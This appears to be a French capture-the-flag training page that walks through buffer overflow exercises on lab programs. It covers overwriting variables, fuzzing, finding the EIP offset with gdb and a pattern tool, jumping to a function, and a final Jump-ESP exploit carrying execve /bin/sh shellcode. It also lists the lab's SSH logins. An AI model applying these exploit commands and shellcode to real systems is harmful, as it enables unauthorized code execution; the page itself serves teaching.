Participant

anonymous

YOLO CTF

 Mon premier CTF 

Buffer overflows


Quand vous saisissez votre nom, votre mail, un message, le programme doit leur réserver une place pour les stocker quelque part en mémoire.
Quand vous envoyez une requète HTTP, le serveur doit la stocker, l'analyser, décoder les champs en base64...

Dans son programme, John a besoin de saisir une adresse mail. Il va réserver un buffer de 1024 octets. Ca peut sembler généreux...
Notre job, c'est de trouver ces fonctions et leur envoyer un mail de 2000 octets... Qui vont venir écraser la mémoire, et les variables qui s'y trouvent.
On peut ainsi injecter du code et prendre la main sur le système.
Ces vulnerabilités sont caractéristiques des programmes en C... qui reviennent en masse dans les objets connectés.

Pour trouver un buffer overflow, on utilise un fuzzer qui injecte des données aléatoires partout ou c'est possible.
Pour exploiter un buffer overflow, il faut un minimum de connaissance de la structure en mémoire des programmes, de l'utilisation des adresses et registres. Et savoir ou trouver les bonnes payload pour son système.
Linux dispose de protection contre le buffer Overflow. On commence par les désactiver, et on les réactive au fur et à mesure pour monter la difficulté.
Nos buffers overflow permettent de toucher du doigt le principe sans mettre les mains dans l'assembleur.

Pour se former :
Tutoriel par Hack'n do [https://beta.hackndo.com/buffer-overflow/]
Article historique sur les Buffers overflows de Aleph One : http://phrack.org/issues/49/14.html

Démarrez votre serveur dédié en cliquant sur [Start server].


Server status : stopped


Ca dépasse !!
10
 ssh bender@ctf-buffer_ 
 mdp: leelu 

Le programme say_hello vient de remporter le concours de l'IA la plus futée du MIT. Malheureusement ses concepteurs se sont concentrés sur les performances du CPU et un peu négligé la sécurité.
Jette un oeil a son source: buffer_01.c

 $ ./say_hello bob 

Remplace bob par 12345678901234567890.
Ca dépasse des 10 caractères alloués au tableau name.
Et ça va écraser le tableau intro[10]="Hello";
Si nous continuons, nous pouvons écraser la variable tst, et forcer un appel à print_flag();

Baisse la tête
15
 ssh leela@ctf-buffer_ 
 mdp: yivo 

Les programmeurs ont sorti une version 2 de leur IA, avec une sécurité renforcée.
Jette un oeil a son source: buffer_02.c

Il faut forcer la valeur de tst à 'Z' pour déclencher un appel à print_flag();

Sec Check
20
 ssh philip@ctf-buffer_ 
 mdp: elzar 

Alertés par la communauté, et sous la pression des investisseurs qui détestent le bad nuzz, les programmeurs ont sorti une version 3 de leur IA, toujours plus sécure.
Jette un oeil a son source: buffer_03.c

Il faut forcer la valeur de tst à 'SecCheck' pour déclencher un appel à print_flag();

Fuzzer
20
 ssh fry@ctf-buffer_ 
 mdp: futur 

Pour detecter un buffer overflow, nous utilisons un fuzzer: un logiciel qui va générer des données de longueurs fixées avec des patterns. Il existe des fuzzers plus ou moins sophistiqués.
Nous allons utiliser un fuzzer basique: un script mixte shell et python qui va générer une chaine de AAAAAAA de longueur variable.

Dans le code source, nous voyons que la taille du buffer est de 1000 caractères. Nous allons tester des chaines de A entre 1000 et 1020 caractères.

 for i in `seq 1000 1020`; do echo $i; done; 

Ce script shell va écrire des valeurs entre 1000 et 1020.

 $(python -c "print 'A'*50") 

Ce script python va écrire une chaine de 'A' de 50 caractères.
En combinant ces deux scripts sur une ligne de commande, nous obtenons :

 for i in `seq 1000 1020`; do echo $i; ./say_hello4 $(python -c "print 'A'*$i"); done; 

Ce script va écrire la valeur de $i, et générer une chaine de 'A' de longueur $i.
$i va varier de 1000 à 1020.

 Segmentation fault 

Des que nous avons ce message, c'est gagné !

Le flag est la taille de la chaine minimale qui génère un buffer overflow.

EIP control
20
 ssh fry@ctf-buffer_ 
 mdp: futur 

Dans le challenge précédent, nous avons généré un buffer overflow.
Dans celui-ci nous allons prendre le control sur l'execution des instructions

Les programmes rangent le code à éxécuter dans une partie de la mémoire, et leurs données dans une autre zone.
Pour notre plus grand plaisir, le register EIP qui pointe vers la prochaine instruction de code à executer sauve régulièrement sa valeur parmi les données.. Plus précisément, quelques octets après les variables qui contiennent nos données, et que nous pouvons faire déborder...

En écrasant les valeurs des données avec un buffer overflow, nous pouvons écraser la valeur d'EIP et forcer l'adresse de la prochaine instruction à executer.
Pour un programme en 32 bits, ce qui est le cas de notre binaire, les adressess ont codées sur 4 octets.
Nous allons tenter de mettre la valeur 'BBBB' dans EIP.
Pour celà, nous allons utiliser une chaine de 'AAAAAAA' suivie de 'BBBB'.
Nous allons progressivement augmenter la taille de notre chaine de 'AAAA', jusqu'à ce qu'elle pousse 'BBBB' dans EIP.

Quand nous lançons say_hello4 directement, nous ne voyons que le message 'Segmentation fault'. Nous allons le lançer avec gdb, le déboggeur pour connaitre l'adresse qui a généré ce 'Segmentation fault'.
En hexadécimal, 'BBBB' s'écrit 0x42424242
Quand nous aurons un 'Segmentation fault' du à l'adresse 0x42424242, nous connaitrons la taille du buffer qui permet de prendre le controle d'EIP.

 Program received signal SIGILL, Illegal instruction. 
 0x08048401 in __do_global_dtors_aux ()      - On a généré des erreurs mais pas encore touché EIP 
 Program received signal SIGSEGV, Segmentation fault. 
 0x08040042 in ?? ()                         - Un 42, la lettre B vient d'apparaitre dans EIP 
 Program received signal SIGSEGV, Segmentation fault. 
 0x08004242 in ?? ()                         - Deux 42, arrivent dans EIP, on progresse 
 Program received signal SIGSEGV, Segmentation fault. 
 0x00424242 in ?? ()                         - Trois 42, on y est presque 
 Program received signal SIGSEGV, Segmentation fault. 
 0x42424242 in ?? ()                         => On y est !!!!! 
 Program received signal SIGSEGV, Segmentation fault. 
 0x42424241 in ?? () - On a trop poussé, un A, code 0x41 apparait 
 Program received signal SIGSEGV, Segmentation fault. 
 0x42424141 in ?? () - On a trop poussé, deux A, code 0x41 arrivent et poussent les B 

Le flag est la taille de la chaine qui permet d'écrire BBBB dans EIP.

 for i in `seq 1008 1020`; do echo $i; gdb -batch -ex='run' -args ./say_hello4 $(python -c "print 'A'*$i+'BBBB'"); done; 
Function call
20
 ssh fry@ctf-buffer_ 
 mdp: futur 

Dans le challenge précédent, nous avons redirigé l'execution du programme à l'adresse en BBBB. Cette adresse, qui ne correspond à rien, génère une erreur.
Nous allons le rediriger vers une fonction existante du programme : print_flag()

objdump -x say_hello4, donne de nombreuses informations sur say_hello4. Il liste entre autre toutes les fonctions et leurs adresses.

 objdump -x say_hello4 | grep print_flag 
 080484f9 g     F .text 00000019              print_flag 

La première colonne donne l'adresse de la fonction print_flag.
Elle est en 0x080484f9.
Ce qui se code en python '\xf9\x84\x04\x08'

Lançons say_hello4 avec la bonne taille de buffer et en mettant cette adresse à la place de BBBB.

 ./say_hello4 $(python -c "print 'A'*1012+'\xf9\x84\x04\x08'"); 
Fuzzer patterns
50
 ssh zapp@ctf-buffer_ 
 mdp: kif 

Un fuzzers de pattern permet de trouver rapidement l'offset d'EIP.
Nous utilisons un fuzzer en python dispo dans github: https://github.com/Svenito/exploit-pattern

 # python pattern.py 300 
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 

Ce script python va générer une suite de caractères dont chaque séquence de 4 caractères est unique.

 # gdb -batch -ex='run' -args ./say_hello5 $(python pattern.py 300) 
 Hello Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 
 Program received signal SIGSEGV, Segmentation fault. 
 0x31684130 in ?? () 

Nous récupérons l'adresse qui a généré l'erreur dans EIP :0x31684130

 # python pattern.py 0x31684130 
 Pattern 0x31684130 first occurrence at position 212 in pattern. 

Le fuzzer nous permet d'en déduire directement l'offset.

Ret2Reg - Jump ESP
50
 ssh zapp@ctf-buffer_ 
 mdp: kif 

Avant 2005, sous Linux, la Stack était toujours située à la même adresse, ce qui rendait les exploits de buffer relativement faciles.
La protection ASLR (Address Space Layout Randomization) a donc été introduite: à chaque lancement d'un programme d'adresse de sa Stack change.
Cette protection est activée par défaut sur Linux depuis le kernel 2.6.20 (juin 2005).

La famille des techniques de appelées Ret2Reg, utilisent des registres qui pointent déjà vers la Stack.
La technique de Jump ESP permet de se passer de la connaissance de l'adresse de la Stack.
Elle consiste littéralement à dire au processeur: 'ta prochaine instruction se trouve à l'adresse pointée par le registre ESP... Or le registre ESP a pour vocation de pointer la Stack.

Il faut trouver dans le code du programme l'instruction en assembleur 'jmp ESP', et mettre son adresse dans EIP.
Dans un gros programme, on a des chances d'en trouver une. Dans le cadre d'un CTF, cette instruction est volontairement introduite :).

 $ objdump -d say_hello5| grep esp | grep jmp 
 0804846b <jmp_esp>: 
 804846e:   ff e4                   jmp    *%esp 

On utilise 'objdump -d xxx' pour trouver l'adresse d'une fonction 'jmp esp'.
Nous en avons une en 0x0804846e.
Nous faisons comme sur les exploits précédents, en changeant d'adresse des ROP par l'adresse de cette instruction.

 # ./say_hello5 $(python -c "print '\x90'*(212)+'\x6e\x84\x04\x08'+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'")